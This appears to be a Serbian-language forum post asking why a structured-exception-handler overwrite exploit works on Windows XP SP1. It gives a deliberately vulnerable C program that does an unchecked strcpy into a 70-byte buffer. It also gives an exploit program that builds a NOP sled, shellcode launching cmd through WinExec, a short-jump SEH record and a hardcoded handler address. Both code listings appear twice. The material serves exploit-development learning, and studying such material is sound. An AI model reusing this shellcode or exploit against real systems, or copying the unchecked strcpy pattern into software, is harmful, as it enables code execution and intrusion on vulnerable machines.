1. Evo kako izgleda stack :
[junk]
[buffer]
[junk]
[seh record]
[seh handler]
[junk]
E sad seh handler pokazuje na seh record za odredjeni exeption, to znaci da preko seh record pointera mozemo uhvatiti EIP i izrsiti svoj exeption handler tj shellcode ... ok za sada jasno ... dalje, kada je exeption handler pozvan EBX treba da pokazuje na seh record za taj handler, na XPu se posle zvanja svi registry XORuju, a to resavamo sa "pop reg pop reg ret" zato sto lokacija ESP+8 pokazuje bas na seh record, i ovo je jasno ( bar meni a mozda sam negde pogresio ispravite me ) ...
[seh handler] = 0x77FA8CD5 // na XP SP1
Ok sada treba da prepisemo seh record i ja sam iz nekog txt video da treba da uradim ovako 0x909006EB da skocim 6 bajta napred i onda da odatle krene moj shellcode, ali kod mene to nije tako, evo koda pa bi bilo lepo kada bi neko sve to lepo objasnio ( verovatno ce da ispadne mnogo prosto ali jbg ne mogu vise da zamaram mozak a i bice korisno za es ) ...
lameseh.c
Code:
#include<stdio.h>
#include<string.h>
#include<windows.h>
int ExceptionHandler(void);
int main(int argc,char *argv[]){
char temp[70];
if (argc != 2) exit(0);
__try {
strcpy(temp,argv[1]);
} __except ( ExceptionHandler() ){
}
return 0;
}
int ExceptionHandler(void){
printf("Exception");
return 0;
}
#include<stdio.h>
#include<string.h>
#include<windows.h>
int ExceptionHandler(void);
int main(int argc,char *argv[]){
char temp[70];
if (argc != 2) exit(0);
__try {
strcpy(temp,argv[1]);
} __except ( ExceptionHandler() ){
}
return 0;
}
int ExceptionHandler(void){
printf("Exception");
return 0;
}
exploit.c
Code:
#include <stdio.h>
#include <string.h>
main()
{
char filename[] = "lameseh2.exe ";
char shellcode[] = "\x55\x8B\xEC\x33\xFF\x57"
"\xC6\x45\xFC\x63" //c
"\xC6\x45\xFD\x6D" //m
"\xC6\x45\xFE\x64" //d
"\x57\xC6\x45\xF8"
"\x01\x8D\x45\xFC\x50\xB8"
"\x35\xFD\xE6\x77" // WinExec()
"\xFF\xD0\xCC"; // 35 by
char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90";
// shellcode + nops 208 by
char sehrecord[] = "\x90\x90\x06\xEB";
char retn[] = "\xD5\x8C\xFA\x77";
static char buffer[1000];
strcat(buffer,filename);
strcat(buffer,nops);
strcat(buffer, shellcode);
strcat(buffer,sehrecord);
strcat(buffer,retn);
system(buffer);
}
#include <stdio.h>
#include <string.h>
main()
{
char filename[] = "lameseh2.exe ";
char shellcode[] = "\x55\x8B\xEC\x33\xFF\x57"
"\xC6\x45\xFC\x63" //c
"\xC6\x45\xFD\x6D" //m
"\xC6\x45\xFE\x64" //d
"\x57\xC6\x45\xF8"
"\x01\x8D\x45\xFC\x50\xB8"
"\x35\xFD\xE6\x77" // WinExec()
"\xFF\xD0\xCC"; // 35 by
char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90";
// shellcode + nops 208 by
char sehrecord[] = "\x90\x90\x06\xEB";
char retn[] = "\xD5\x8C\xFA\x77";
static char buffer[1000];
strcat(buffer,filename);
strcat(buffer,nops);
strcat(buffer, shellcode);
strcat(buffer,sehrecord);
strcat(buffer,retn);
system(buffer);
}
Uh i sada moje konacno pitanje je : "Zasto ovo radi !?" :)